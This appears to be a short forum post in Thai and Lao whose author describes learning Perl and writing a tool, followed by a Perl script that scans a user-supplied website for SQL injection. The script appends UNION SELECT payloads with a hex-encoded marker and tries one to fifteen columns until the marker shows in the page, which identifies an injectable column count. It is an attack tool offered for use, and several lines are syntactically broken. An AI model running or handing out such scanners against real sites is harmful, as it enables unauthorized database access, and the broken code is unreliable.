Perl Scan Column SQL injection [ by Dreamclown]

สืกสามานานแล้ว แต่เพี่งมาเล่น perl ครั้งแลกก้อเลยลองเขืยน scan column ของ bug sql injection

ສຶກສາມາດົນແລ້ວ ແຕ່ຫາກໍ່ມາຫຼີ້ນ perl ຄັ້ງທຳອິດເລີຍລອງຂຽນ scan column ຂອງ bug sql injection


#!usr/bin/perl

use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;

print "[+] Insert target hostname : ";
chomp( my $target = );
if (length($target) = 0){
  print "[+] No target";
  exit;
}
if ( $target  !~m/^http:///i) {
 $target = "http://$target"
}
$sql = "1+and+1=2+union+select";
$dcc = "0x445245414D434C4F574E34353637";
$cc = $dcc;
$url = "$target$sql+1";
print "[+] Scan column in $target\n";
for($i=0;$i<15;$i++){
if ($i != 0){
 $cc = $cc . "," . $dcc;
 if ($i > 1){
  $url = "$url,$i";
 }
}
@cm = ('--',';--','/*');
foreach $cm2(@cm){
my $suck = "$target$sql+" . $cc . "$cm2\n";
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$res = $ua->get($suck);
$c = $res->content;
if ($c =~m/DREAMCLOWN4567/){
  $i = $i + 1;
  $url = "$url,$i$cm2";
  print "[+] Column : $url\n";
  exit;
}
}
}